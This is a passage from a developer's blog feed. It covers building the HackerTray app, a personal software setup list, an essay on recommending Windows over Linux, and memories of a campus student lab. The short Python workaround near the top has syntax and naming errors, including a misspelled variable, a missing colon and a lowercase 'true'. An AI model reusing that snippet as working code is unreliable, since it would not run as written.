in the <code class="language-plaintext highlighter-rouge">activate</code> event being fired, which ultimately calls <code class="language-plaintext highlighter-rouge">open</code>. This means on a click to
an unchecked menuItem, the open function is called twice. This results in the browser opening
the link twice.</p>

<p>As a workaround, I disabled the event handler in case it is a checked menuItem:</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">open</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">widget</span><span class="p">):</span>
	<span class="nf">if</span><span class="p">(</span><span class="n">widget</span><span class="p">.</span><span class="nf">set_active</span><span class="p">()</span> <span class="o">==</span> <span class="bp">False</span><span class="p">)</span>
		<span class="n">wiget</span><span class="p">.</span><span class="nf">disconnect</span><span class="p">(</span><span class="n">widget</span><span class="p">.</span><span class="n">signal_id</span><span class="p">)</span>
		<span class="n">widget</span><span class="p">.</span><span class="nf">set_active</span><span class="p">(</span><span class="n">true</span><span class="p">)</span>
		<span class="n">widget</span><span class="p">.</span><span class="n">signal_id</span> <span class="o">=</span> <span class="n">widget</span><span class="p">.</span><span class="nf">connect</span><span class="p">(</span><span class="sh">'</span><span class="s">activate</span><span class="sh">'</span><span class="p">,</span> <span class="n">self</span><span class="p">.</span><span class="nb">open</span><span class="p">)</span>
	<span class="n">webbrowser</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="n">widget</span><span class="p">.</span><span class="n">url</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">addItem</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">item</span><span class="p">):</span>
	<span class="c1">#create a new CheckMenuItem (i)
</span>	<span class="n">i</span><span class="p">.</span><span class="nf">connect</span><span class="p">(</span><span class="sh">'</span><span class="s">activate</span><span class="sh">'</span><span class="p">,</span> <span class="n">self</span><span class="p">.</span><span class="nb">open</span><span class="p">)</span>
	<span class="n">i</span><span class="p">.</span><span class="n">signal_id</span> <span class="o">=</span> <span class="n">i</span><span class="p">.</span><span class="nf">connect</span><span class="p">(</span><span class="sh">'</span><span class="s">activate</span><span class="sh">'</span><span class="p">,</span> <span class="n">self</span><span class="p">.</span><span class="nb">open</span><span class="p">)</span></code></pre></figure>

<p>The next thing I worked on was a persistent memory for the app. In a nutshell, I needed to
make sure that the tick on an item remained there, even if the app was restarted. This meant
writing a list of all the “viewed” items into a file. After looking at <a href="http://docs.python.org/lib/module-shelve.html">shelve</a> for a
bit, I just <a href="https://github.com/captn3m0/hackertray/commit/167397e51f665847400617935653027ebba0b396">rolled my own implementation</a>
, based on storing the data into <code class="language-plaintext highlighter-rouge">~/.hackertray.json</code> file.</p>

<p>After that I worked on packaging the app into a python package, so that it could be easily installed.
The <a href="https://python-packaging.readthedocs.io/en/latest/">python packaging tutorial</a> was an easy to use guide
that let me <a href="https://github.com/captn3m0/hackertray/commit/6ca735ea089d9189f152612ed016d31d72f9c36b">create the package</a>
easily and push it to the <a href="https://pypi.python.org/pypi/hackertray/">Python Package Index</a>. A few issues in the package
were found, and were fixed quickly thanks to <a href="https://github.com/captn3m0/hackertray/pull/7">the pull request</a> by <a href="https://github.com/brunal">@brunal</a>.</p>

<p>After improving the README a bit, I posted about it on Hacker News, where it failed to get any traction. I re-tried with a link
to the HackerTray website, and that fell flat as well. It was on the next day, when I <a href="https://news.ycombinator.com/item?id=6819042">posted it to HN</a>
for the third time, that it took off. After 50 or so upvotes, I found that my instance refused to run because it had
hit the API Rate Limit on the excellent <a href="https://node-hnapi.herokuapp.com/">node-hnapi</a>. I quickly <a href="https://github.com/captn3m0/hackertray/commit/8f0b08137b6c4b05ebe63a33029a36c068cfbc05">pushed a fix</a>
that used a list of servers to hit as fallback in case it crossed the Rate Limits.</p>

<p>After a lot of feedback from HN, I started work on a <code class="language-plaintext highlighter-rouge">node-webkit</code> based clone of hackertray for Windows. I should be able to release
it in a few more days, if nothing else crops up. Keep watching this space for info. If you have any queries, just <a href="https://github.com/captn3m0/hackertray/issues/new">file an issue on GitHub</a>
or <a href="mailto:capt.n3m0@gmail.com">contact me</a>.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Aboard the Nautilus]]></title>
            <link>https://captnemo.in/blog/2013/09/21/aboard-the-nautilus/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2013/09/21/aboard-the-nautilus/</guid>
            <pubDate>Sat, 21 Sep 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[I’d done a post on this a long time back (2009), detailing
what all softwares I use on a daily basis. This
is an update to that post.
Since the last post, I’ve moved on to using Linux, using
Elementary OS as my primary OS. Over the time period this post was written,
I’ve shifted from using Cinnamon to Openbox and finally
to elementaryOS’s pantheon as my Desktop Manager. I’m thinking of switching
to Arch Linux, just to get a faster experience. I use 
Synapse as my application launcher, because its much faster
than anything else out there.
For most of my web browsing needs, I rely on Google Chrome Stable
and a daily build of Chromium (v31 as of now) for most of my work.
 I switch between them all the time. I use Firefox (stable) only to
test out my projects from time to time.
The current editor I use is Sublime Text. It is
everything you need, and much more. I’m still to
get started using its build system, and its
plethora of packages; but its still an excellent
choice for a daily use editor. On the command line, I use
Vim, git (with SCM Breeze), fasd and tig, 
which is an excellent git interface on the command line.
I listen to music on my own browser-based music
player, called Muzi, YouTube and GrooveShark.
For my terminal needs, I use Gnome-Terminal. I use
Byobu to manage my session, and often
connect to it from other computers as well. Its an
excellent multiplexer that fits in my workflow
really well.
I use Imo.im on both the
Desktop and my tablet to chat. I occasionally use ReText
for editing markdown files. I use RedShift on my laptop and f.lux
on my iPad to help me sleep better. I recommend it to everyone who is
suffering from eye-strain or wants to sleep better.
On the browser, my most visited sites would be
Hacker News (via hckrnews.com), WorkFlowy for managing
my to-do list and GitHub on a daily basis for most of my projects.
Hardware
I own a old Nokia X3-02, and will be upgrading to a Firefox OS Phone soon enough. I use a Dell Inspiron 1545 as my personal machine. I also use an iPad 2 (with 3G) on a daily basis (mostly for reading). I also own a Dayan Zhanchi 3x3 and a 5x5 shengshou 
speed cube.
iPad Apps
The must have iPad apps for me are Chrome, imo,  and iBooks. I have installed Mailbox alongside GMail, and haven’t used GMail since
I installed it. I sometimes write stuff using Plaintext, and sketch using Paper. I read my RSS feeds using Newsify and Feedly.
Extensions
Chrome Extensions that I use on a daily basis include Chime for 
wonderful notifications (highly recommended), Ghostery for getting a tracker-free internet
, HTTPS Everywhere to keep me secure, LastPass to manage passwords and Stylish
 for customizing the looks of various websites.
Dream Setup
My dream setup would consist of a lightweight Ubuntu Laptop that I can carry around
that still has lots of processing power and battery life. I’ll prety much be satisfied
by any high-end Android phone as long as it has a decent battery life.]]></description>
            <content:encoded><![CDATA[<p>I’d done a <a href="http://captnemo.in/blog/2009/12/04/nautilus-behind-the-curtains/">post</a> on this a long time back (2009), detailing
what all softwares I use on a daily basis. This
is an update to that post.</p>

<p>Since the last post, I’ve moved on to using Linux, using
Elementary OS as my primary OS. Over the time period this post was written,
I’ve shifted from using Cinnamon to Openbox and finally
to elementaryOS’s pantheon as my Desktop Manager. I’m thinking of switching
to Arch Linux, just to get a faster experience. I use 
Synapse as my application launcher, because its much faster
than anything else out there.</p>

<p>For most of my web browsing needs, I rely on Google Chrome Stable
and a daily build of Chromium (v31 as of now) for most of my work.
 I switch between them all the time. I use Firefox (stable) only to
test out my projects from time to time.</p>

<p>The current editor I use is Sublime Text. It is
everything you need, and much more. I’m still to
get started using its build system, and its
plethora of packages; but its still an excellent
choice for a daily use editor. On the command line, I use
Vim, git (with <a href="https://github.com/ndbroadbent/scm_breeze" title="Faster Git Shortcuts">SCM Breeze</a>), <a href="https://github.com/clvv/fasd" title="Command Line Booster">fasd</a> and <a href="https://github.com/jonas/tig" title="Excellent Git CLI">tig</a>, 
which is an excellent git interface on the command line.</p>

<p>I listen to music on my own browser-based music
player, called <a href="https://sdslabs.co.in/muzi" title="Link works only inside IITR">Muzi</a>, YouTube and GrooveShark.</p>

<p>For my terminal needs, I use Gnome-Terminal. I use
<a href="http://byobu.co/">Byobu</a> to manage my session, and often
connect to it from other computers as well. Its an
excellent multiplexer that fits in my workflow
really well.</p>

<p>I use <a href="http://imo.im/">Imo.im</a> on both the
Desktop and my tablet to chat. I occasionally use <a href="http://sourceforge.net/projects/retext/">ReText</a>
for editing markdown files. I use <a href="http://jonls.dk/redshift/">RedShift</a> on my laptop and <a href="http://justgetflux.com/">f.lux</a>
on my iPad to help me sleep better. I recommend it to everyone who is
suffering from eye-strain or wants to sleep better.</p>

<p>On the browser, my most visited sites would be
<a href="https://news.ycombinator.com/">Hacker News</a> (via hckrnews.com), <a href="http://workflowy.com/">WorkFlowy</a> for managing
my to-do list and GitHub on a daily basis for most of my projects.</p>

<h2 id="hardware">Hardware</h2>
<p>I own a old Nokia X3-02, and will be upgrading to a <a href="https://www.mozilla.org/en-US/firefox/os/">Firefox OS Phone</a> soon enough. I use a Dell Inspiron 1545 as my personal machine. I also use an iPad 2 (with 3G) on a daily basis (mostly for reading). I also own a Dayan Zhanchi 3x3 and a 5x5 shengshou 
speed cube.</p>

<h2 id="ipad-apps">iPad Apps</h2>
<p>The must have iPad apps for me are Chrome, <a href="https://imo.im/iphone/">imo</a>,  and iBooks. I have installed <a href="http://www.mailboxapp.com/">Mailbox</a> alongside GMail, and haven’t used GMail since
I installed it. I sometimes write stuff using <a href="http://www.hogbaysoftware.com/products/plaintext/">Plaintext</a>, and sketch using <a href="http://www.fiftythree.com/paper">Paper</a>. I read my RSS feeds using Newsify and Feedly.</p>

<h2 id="extensions">Extensions</h2>
<p>Chrome Extensions that I use on a daily basis include <a href="http://chimeapp.com/">Chime</a> for 
wonderful notifications (highly recommended), <a href="http://www.ghostery.com">Ghostery</a> for getting a tracker-free internet
, <a href="https://www.eff.org/https-everywhere">HTTPS Everywhere</a> to keep me secure, <a href="http://lastpass.com/">LastPass</a> to manage passwords and <a href="https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe">Stylish</a>
 for <a href="http://userstyles.org/users/183835">customizing</a> the looks of various websites.</p>

<h2 id="dream-setup">Dream Setup</h2>
<p>My dream setup would consist of a lightweight Ubuntu Laptop that I can carry around
that still has lots of processing power and battery life. I’ll prety much be satisfied
by any high-end Android phone as long as it has a decent battery life.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Why I still recommend Windows]]></title>
            <link>https://captnemo.in/blog/2013/07/21/why-i-still-recommend-windows/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2013/07/21/why-i-still-recommend-windows/</guid>
            <pubDate>Sun, 21 Jul 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[Even though I am a long time Linux user, and a big time fan of the many Linux distros that I’ve tried out over time, I still go around recommending Windows to people who ask me for advice. The only exception I make is when the person in question is a developer, in which case I try to convert them to the Church of Linux.
The main reason I recommend windows to non-developers is because it is a far better operating system than most Linux distributions (for general public). Now, before you bring out your pitchforks, hear me out.
The first and foremost reason that I give is that Windows sports a far better integration across all its services. Nautilus/Nemo in the Linux world do not reach same level of integration that Windows Explorer does. For instance, just look at the way the “Send To” feature works in explorer. To add a folder to the send to entry, you just have to add a shortcut to that folder inside the special “Send To” folder. On nautilus, the equivalent would be going about installing an extension, and editing a configuration file by hand.
Or take a look at how the “Play All” feature in Explorer. Or the “Libraries” feature in Windows 7. Or the simple way that you handle file sharing in Windows. Even though Linux has (arguably better) Samba support for files sharing, you have to go about editing a handful of files to make it work. I personally find apache easier to configure to just share files one way.
Games are another reason. Even though Steam is available on Linux, all of the non-Valve triple-A titles are missing on Linux. Even though I continue to buy and play the Humble Bundles that offer Linux as a platform, I’m reminded of the stark reality every day when my friends ask me if I’ve played a recent title such as Call of Duty, Metro, NFS or even Swapper.
The next peeve that comes to my mind is the ridiculous driver support. It has been improving since a long time, but its still not there. Even Ubuntu needs to fetch proprietary drivers for my WiFi support on Broadcom, which needs an internet connection in the first place. This means I need to find out a LAN network connection to even start using Ubuntu. Similarly the pain I’d to go through to install drivers for Ralink network drivers on a friend’s laptop was immense. I can never use circular scrolling or touchpad zoom on my laptop in Linux because there are still no drivers available anywhere for it. And don’t get me started on UEFI boot issues. No matter what people believe or pretend, hardware support is just not good enough to be relied on in the Linux world. As a side note, I haven’t synced my iPad in Ubuntu since I shifted to iOS 5, and apple driver support on Linux will remain abysmal forever just because iTunes will never be released for Linux. The last version of iOS that had music sync support (via libimobiledevice) was iOS 4.0 (released 3 years ago in June 2010).
Next I want to point put out the upgrade pain that everyone has to go through. It’s like a constant rite of passage, which turns a Linux noob into an actual user. I am yet to do an Ubuntu upgrade which went smoothly and didn’t break a thing; and I’ve been upgrading my Ubuntu since 10.04 was released. The upgrade tag on askubuntu is chock full of horror stories.
Another thing that frustrates me to no end is that the Ubuntu Dash, and the GNOME Overview are both slow as hell. I’m currently using Cinnamon, which is faster than both of these, but still an order of magnitude slower than the Windows Start Menu. Synpase is better, but cannot be set as the deafult.
I was using Windows 7 on my cousin’s laptop these last few days and I remembered the favourite app that I used to no end: Everything. It is the quickest file search I’ve ever used. The alternatives, in the Linux world are synapse, zeitgeist, and plain old locate command. The only issue is that I’ve to manually run updatedb manually, while Everything was always up to date, using the NTFS File Journal. To this date, I am yet to find a good enough alternative to Everything.
It is true that Windows lacks many of the good things that Linux distros provide, such as the excellent package management support, POSIX compatibility, and the plethora of tools we get on the command line; but at the same time, it is also a better operating system for most of the masses. I’ll continue to recommend Windows to all my non-developer friends till “The year of Desktop Linux” arrives.]]></description>
            <content:encoded><![CDATA[<p>Even though I am a long time Linux user, and a big time fan of the many Linux distros that I’ve tried out over time, I still go around recommending Windows to people who ask me for advice. The only exception I make is when the person in question is a developer, in which case I try to convert them to the Church of Linux.</p>

<p>The main reason I recommend windows to non-developers is because it is a far better operating system than most Linux distributions (for general public). Now, before you bring out your pitchforks, hear me out.</p>

<p>The first and foremost reason that I give is that Windows sports a far better integration across all its services. Nautilus/Nemo in the Linux world do not reach same level of integration that Windows Explorer does. For instance, just look at the way the “Send To” feature works in explorer. To add a folder to the send to entry, you just have to add a shortcut to that folder inside the special “Send To” folder. On nautilus, the equivalent would be going about installing an extension, and editing a configuration file by hand.</p>

<p>Or take a look at how the “Play All” feature in Explorer. Or the “Libraries” feature in Windows 7. Or the simple way that you handle file sharing in Windows. Even though Linux has (arguably better) Samba support for files sharing, you have to go about editing a handful of files to make it work. I personally find apache easier to configure to just share files one way.</p>

<p>Games are another reason. Even though Steam is available on Linux, all of the non-Valve triple-A titles are missing on Linux. Even though I continue to buy and play the Humble Bundles that offer Linux as a platform, I’m reminded of the stark reality every day when my friends ask me if I’ve played a recent title such as Call of Duty, Metro, NFS or even Swapper.</p>

<p>The next peeve that comes to my mind is the ridiculous driver support. It has been improving since a long time, but its still <em>not there</em>. Even Ubuntu needs to fetch proprietary drivers for my WiFi support on Broadcom, which needs an internet connection in the first place. This means I need to find out a LAN network connection to even start using Ubuntu. Similarly the pain I’d to go through to install drivers for Ralink network drivers on a friend’s laptop was immense. I can never use circular scrolling or touchpad zoom on my laptop in Linux because there are still no drivers available anywhere for it. And don’t get me started on UEFI boot issues. No matter what people believe or pretend, hardware support is just not good enough to be relied on in the Linux world. As a side note, I haven’t synced my iPad in Ubuntu since I shifted to iOS 5, and apple driver support on Linux will remain abysmal forever just because iTunes will never be released for Linux. The last version of iOS that had music sync support (via libimobiledevice) was iOS 4.0 (released 3 years ago in June 2010).</p>

<p>Next I want to point put out the upgrade pain that everyone has to go through. It’s like a constant rite of passage, which turns a Linux noob into an actual user. I am yet to do an Ubuntu upgrade which went smoothly and didn’t break a thing; and I’ve been upgrading my Ubuntu since 10.04 was released. The <a href="http://askubuntu.com/questions/tagged/upgrade">upgrade tag</a> on askubuntu is chock full of horror stories.</p>

<p>Another thing that frustrates me to no end is that the Ubuntu Dash, and the GNOME Overview are both slow as hell. I’m currently using Cinnamon, which is faster than both of these, but still an order of magnitude slower than the Windows Start Menu. Synpase is better, but <a href="http://askubuntu.com/questions/174838/can-i-change-synapse-shortcut-to-super-windows-key-alone">cannot be set as the deafult</a>.</p>

<p>I was using Windows 7 on my cousin’s laptop these last few days and I remembered the favourite app that I used to no end: Everything. It is the quickest file search I’ve ever used. The alternatives, in the Linux world are synapse, zeitgeist, and plain old locate command. The only issue is that I’ve to manually run updatedb manually, while Everything was always up to date, using the NTFS File Journal. To this date, I am yet to find a good enough alternative to Everything.</p>

<p>It is true that Windows lacks many of the good things that Linux distros provide, such as the excellent package management support, POSIX compatibility, and the plethora of tools we get on the command line; but at the same time, it is also a better operating system for most of the masses. I’ll continue to recommend Windows to all my non-developer friends till “The year of Desktop Linux” arrives.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[SDSLabs - My experiences]]></title>
            <link>https://captnemo.in/blog/2012/12/27/sdslabs-personal-blog-post/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/12/27/sdslabs-personal-blog-post/</guid>
            <pubDate>Thu, 27 Dec 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[Introduction
For the past two years, I have been involved in a student group in our campus called SDSLabs.
It has been the most fun two years of my life. I have acted as programmer, developer, manager,
monkey-coder, event-manager and all other roles one might expect in a startup. However, I have
never really blogged about any of this. Someone pointed it out recently to me, the truth is I
have been meaning to write this since a very long time, but its kind of hard to put down in
words. I’ll try my best. This post is highly specific to iit roorkee (you have been warned).
Chronology Of Events / Timeline
Back in my first year, after joining something called SDS as a proficiency in the campus, I was learning PHP.
 With no-one to guide me, I had only attended a single talk by Shobhit Singh where he talked about dynamic
 websites. I was instantaneously hooked. I did something called lion, a twitter clone and it won 3rd prize
 in Srishti. It had follow, unfollow, messages, tweets, and groups (one feature which set it apart from twitter).
The code was a mess of php and inline html, and I have never looked upon it since. I did a couple more projects by myself
, learning the in and outs of php (I was still to hear about ruby/python). At the end of my first year, I did a project
 management system under Kumar Shashank who taught me about MVC and the need of architecture in a software application.
At the very end of the project, a group called SDSLabs was formed. Along with a few people
Shobhit sir had found, we founded SDSLabs. Everyone in the group was passionate about building things.
And somehow, magically, I was in it. And there began the most beautiful chapter of my life..
Coding & Learning
After completing the PMS (Project Management System), I moved on to work on Filepanda, and then the entire framework
application for SDSLabs. All our applications are powered by a single API, which I wrote. Meanwhile, Harshil was working
 on DC++, and other awesome things. I met pranav sir, and was introduced to the thousand-quirks-of-css. It shifted to mint, and
then to ubuntu. I learned the ins-and-out of managing a linux system. Back then SDSLabs was limited to the small committee
room in Hobbies Club (with Shobhit Sir working tirelessly on funding for a better lab).
And I met Ishan Sir. If you are reading this, thank you for teaching me how to learn. I had tons of night-outs with him
discussing things I barely remember now. I became a creator. I executed on tons of ideas. Most never saw the second day in
their lives, but I still have them with me, as memento of the past and what was to be. Ishan Sir was a gold-mine for learning.
Everything I could ever ask, and he’d hand over a resource. Some of my most productive learning days were spent with him.
Recruitments
After a single semester of work, we held our first recruitments. I wrote my
 first blog post for the lab at the time noting
down my amazing reaction to the awesome people that had joined the lab.
It is difficult to distil into words the awesome learning experience I had with all these people. Going to chapos, thinking
about how we could expand. What else awesome stuff we could do? One night hackathons, where we coded awesome stuff.
And I started to work on Muzi, which was to be my application. It stands at 811 commits today, with over
200 issues in our project management system.
 I went into the development knowing PHP and bits of AJAX, and came out a JQuery fanboy. Muzi has been my primary music player
  for almost an year now. It feels awesome to listen to music on a music player you coded. The initial version was
  based on Zune’s design on Windows. We kept on improving it till it was exactly what we wanted. Today, people have listened to
  almost 1 lac songs on Muzi, and it feels awesome to have been behind something that is so widely used (within the campus).
Launch
The next semester involved our actual launch (11-11-11) of all our applications.
We had all converted into semi-breathing coding machines cum zombies by that time though. Sleepless and exhausted, we did prevail,
and launched a few hours early. The Launch was appreciably recieved in the campus, although I had to leave for the
 Deloitte CCTC Contest the very same day(which we won!).
I ended up doing a rewrite of Codematics (codename CodeBot) in node for the launch. It has a geeky, command line interface
which was inspired by goosh and xkcd’s unix interface. Along with that, Muzi was
launched to huge appreciation as well.
Recruitments Again
This was the semester where our group actually expanded. Our count is almost 42 now, and nothing could
 make me more glad than actually being with all these people.
I donned lots of hats teaching, guiding, coding, and managing people. Linux became one of my top skills, and I learnt a lot.
We shifted to Redmine for management, and I ended up doing a lot of server-administration related stuff (gitolite,redmine,vhosts
,apache,varnish etc).
It has almost been a year since our last recruitment. We have been working of tons of things; some of which
will be launched soon. I took lectures on far apart topics from
“Usability Designing” to
 [“Software Development 101”].(https://speakerdeck.com/captn3m0/software-development-101) I mostly
worked on internal features, improving our API, and something called Presence. We also
participated in
two hackathons,
and we won both of them.
Where, now?
Our group is still nascent, and although I have not mentioned every project that the group (or even I) have
 done for fear of making this post too long. That itself speaks volumes about what we’ve done in a short
 span of two years. Our tagline reads “iDream. iCode. iInnovate”. I wish for the group to continue on that
  path. Develop things that make life easier; for everyone around the world.
People
Throughout this journey, there have been lots of people, without whom this blog post would never have been written.
 You all know who you are. Keep being awesome.
Skills
I used to call myself a programmer, but now I’m in a more management-esque role in SDSLabs. Its my share of the work to manage projects,
and track progress. That does not mean that I’ve given up coding, and I still do code a lot for our internal projects. I have also become
somewhat of a UX enthusiast, taking care of most ux work done in lab. I have also found myself becoming an avid learner, and have Ishan
Sir to thank for that.
Anecdotes & Stories
This post already reads more like a things-i-did-at-sdslabs, which is something I was hoping to avoid, instead of why-i-love-sdslabs, which is what i wanted. So I’m gonna stick a few moments and events that stand out to me…
We have a board with three defining people on it: Steve Jobs, Dennis Ritchie, and Linus Torvalds.
We have had mind-blowing pizza chapos. So many pizzas that they were brought in 2 rickshaws from dominos. Yup.
I am known as the bot in lab. Mostly because of my highly rational unemotional responses, and other things. There is another person, who is trying to get that title, though.
I am famously known for turning down “writing a letter that could have fetched us lots of funding” for coding instead. (In my defense, there were other people who could have handled it better than me, and we didn’t need it badly at the time)
Almost every group in the campus describes their group as a second home. But in our case it is partially true. We spend almost all our free time in lab. I spent close to 500 hours in the lab in this semester alone. Where does this all this time go? Talking, discussions, development, teaching, lectures among other things.
SDSLabs feels more of a startup than an actual student group to me (and Shashank as well). We have to fight for our funding, manage people, and develop products.
I have done way too much copy-editing to be called “just a developer” anymore. I have spent hundreds of hours fighting Pinta and its numerous bugs.
It has been a great experience working with all these people. I can just hope that the group keeps moving to better
innovation, and grander ideas in the future. We are recruiting from first year in upcoming January. If SDSLabs feels like a place you’d
enjoy, just come over and take our test. It changed my life, maybe it will change yours too.]]></description>
            <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>For the past two years, I have been involved in a student group in our campus called SDSLabs.
It has been the most fun two years of my life. I have acted as programmer, developer, manager,
monkey-coder, event-manager and all other roles one might expect in a startup. However, I have
never really blogged about any of this. Someone pointed it out recently to me, the truth is I
have been meaning to write this since a very long time, but its kind of hard to put down in
words. I’ll try my best. This post is highly specific to iit roorkee (you have been warned).</p>

<h2 id="chronology-of-events--timeline">Chronology Of Events / Timeline</h2>
<p>Back in my first year, after joining something called SDS as a proficiency in the campus, I was learning PHP.
 With no-one to guide me, I had only attended a single talk by Shobhit Singh where he talked about dynamic
 websites. I was instantaneously hooked. I did something called lion, a twitter clone and it won 3rd prize
 in Srishti. It had follow, unfollow, messages, tweets, and groups (one feature which set it apart from twitter).</p>

<p>The code was a mess of php and inline html, and I have never looked upon it since. I did a couple more projects by myself
, learning the in and outs of php (I was still to hear about ruby/python). At the end of my first year, I did a project
 management system under Kumar Shashank who taught me about MVC and the need of architecture in a software application.</p>

<p>At the very end of the project, a group called <a href="http://sdslabs.co/">SDSLabs</a> was formed. Along with a few people
Shobhit sir had found, we founded SDSLabs. Everyone in the group was passionate about building things.
And somehow, magically, I was in it. And there began the most beautiful chapter of my life..</p>

<h3 id="coding--learning">Coding &amp; Learning</h3>
<p>After completing the PMS (Project Management System), I moved on to work on Filepanda, and then the entire framework
application for SDSLabs. All our applications are powered by a single API, which I wrote. Meanwhile, Harshil was working
 on DC++, and other awesome things. I met pranav sir, and was introduced to the thousand-quirks-of-css. It shifted to mint, and
then to ubuntu. I learned the ins-and-out of managing a linux system. Back then SDSLabs was limited to the small committee
room in Hobbies Club (with Shobhit Sir working tirelessly on funding for a better lab).</p>

<p>And I met Ishan Sir. If you are reading this, thank you for teaching me how to learn. I had tons of night-outs with him
discussing things I barely remember now. I became a creator. I executed on tons of ideas. Most never saw the second day in
their lives, but I still have them with me, as memento of the past and what was to be. Ishan Sir was a gold-mine for learning.
Everything I could ever ask, and he’d hand over a resource. Some of my most productive learning days were spent with him.</p>

<h3 id="recruitments">Recruitments</h3>
<p>After a single semester of work, we held our first recruitments. I wrote my
 <a href="https://blog.sdslabs.co/2011/09/recruitment-experience">first blog post for the lab</a> at the time noting
down my amazing reaction to the awesome people that had joined the lab.</p>

<p>It is difficult to distil into words the awesome learning experience I had with all these people. Going to chapos, thinking
about how we could expand. What else awesome stuff we could do? One night hackathons, where we coded awesome stuff.</p>

<p>And I started to work on Muzi, which was to be <em>my application</em>. It stands at 811 commits today, with over
200 issues in our project management system.
 I went into the development knowing PHP and bits of AJAX, and came out a JQuery fanboy. Muzi has been my primary music player
  for almost an year now. It feels awesome to listen to music on a music player you coded. The initial version was
  based on Zune’s design on Windows. We kept on improving it till it was exactly what we wanted. Today, people have listened to
  almost 1 lac songs on Muzi, and it feels awesome to have been behind something that is so widely used (within the campus).</p>

<h3 id="launch">Launch</h3>

<p>The next semester involved our <a href="http://blog.sdslabs.co/2011/11/launch-and-beyond">actual launch (11-11-11)</a> of all our applications.
We had all converted into semi-breathing coding machines cum zombies by that time though. Sleepless and exhausted, we did prevail,
and launched a few hours early. The Launch was appreciably recieved in the campus, although I had to leave for the
 <a href="https://captnemo.in/blog/2011/11/20/cctc-blog/">Deloitte CCTC Contest</a> the very same day(which we won!).</p>

<p>I ended up doing a rewrite of Codematics (codename CodeBot) in node for the launch. It has a geeky, command line interface
which was inspired by <a href="http://goosh.org/">goosh</a> and <a href="https://uni.xkcd.com/">xkcd’s unix interface</a>. Along with that, Muzi was
launched to huge appreciation as well.</p>

<h3 id="recruitments-again">Recruitments Again</h3>

<p>This was the semester where our group actually expanded. Our count is almost 42 now, and nothing could
 make me more glad than actually being with all these people.</p>

<p>I donned lots of hats teaching, guiding, coding, and managing people. Linux became one of my top skills, and I learnt a lot.
We shifted to Redmine for management, and I ended up doing a lot of server-administration related stuff (gitolite,redmine,vhosts
,apache,varnish etc).</p>

<p>It has almost been a year since our last recruitment. We have been working of tons of things; some of which
will be launched soon. I took lectures on far apart topics from
<a href="https://speakerdeck.com/captn3m0/ux-and-usability-designing">“Usability Designing”</a> to
 [“Software Development 101”].(https://speakerdeck.com/captn3m0/software-development-101) I mostly
worked on internal features, improving our API, and something called Presence. We also
<a href="https://captnemo.in/blog/2012/05/23/phonegap-blog-post/">participated</a> in
<a href="http://blog.sdslabs.co/2012/09/hacku">two hackathons</a>,
and we won both of them.</p>

<h2 id="where-now">Where, now?</h2>
<p>Our group is still nascent, and although I have not mentioned every project that the group (or even I) have
 done for fear of making this post too long. That itself speaks volumes about what we’ve done in a short
 span of two years. Our tagline reads <em>“iDream. iCode. iInnovate”</em>. I wish for the group to continue on that
  path. Develop things that make life easier; for everyone around the world.</p>

<h2 id="people">People</h2>
<p>Throughout this journey, there have been lots of people, without whom this blog post would never have been written.
 You all know who you are. Keep being awesome.</p>

<h2 id="skills">Skills</h2>
<p>I used to call myself a programmer, but now I’m in a more management-esque role in SDSLabs. Its my share of the work to manage projects,
and track progress. That does not mean that I’ve given up coding, and I still do code a lot for our internal projects. I have also become
somewhat of a UX enthusiast, taking care of most ux work done in lab. I have also found myself becoming an avid learner, and have Ishan
Sir to thank for that.</p>

<h2 id="anecdotes--stories">Anecdotes &amp; Stories</h2>
<p>This post already reads more like a things-i-did-at-sdslabs, which is something I was hoping to avoid, instead of why-i-love-sdslabs, which is what i wanted. So I’m gonna stick a few moments and events that stand out to me…</p>

<ul>
  <li>We have a board with three defining people on it: Steve Jobs, Dennis Ritchie, and Linus Torvalds.</li>
  <li>We have had mind-blowing pizza chapos. So many pizzas that they were brought in 2 rickshaws from dominos. Yup.</li>
  <li>I am known as the bot in lab. Mostly because of my highly rational unemotional responses, and other things. There is another person, who is trying to get that title, though.</li>
  <li>I am famously known for turning down “writing a letter that could have fetched us lots of funding” for coding instead. (In my defense, there were other people who could have handled it better than me, and we didn’t need it badly at the time)</li>
  <li>Almost every group in the campus describes their group as a second home. But in our case it is partially true. We spend almost all our free time in lab. I spent close to 500 hours in the lab in this semester alone. Where does this all this time go? Talking, discussions, development, teaching, lectures among other things.</li>
  <li>SDSLabs feels more of a startup than an actual student group to me (and Shashank as well). We have to fight for our funding, manage people, and develop products.</li>
  <li>I have done way too much copy-editing to be called “just a developer” anymore. I have spent hundreds of hours fighting Pinta and its numerous bugs.</li>
</ul>

<p>It has been a great experience working with all these people. I can just hope that the group keeps moving to better
innovation, and grander ideas in the future. We are recruiting from first year in upcoming January. If SDSLabs feels like a place you’d
enjoy, just come over and take our test. It changed my life, maybe it will change yours too.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Why I'm leaving outlook.com]]></title>
            <link>https://captnemo.in/blog/2012/12/22/why-i-m-moving-from-outlook/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/12/22/why-i-m-moving-from-outlook/</guid>
            <pubDate>Sat, 22 Dec 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[I’d been one of the most eager users of the new outlook.com redesign. 
I’m a real fan of Metro (sorry, I must call it the New Windows 8 Design),
 and think that the correct typgraphy mixed with the correct design language should help the users in a great way forward.
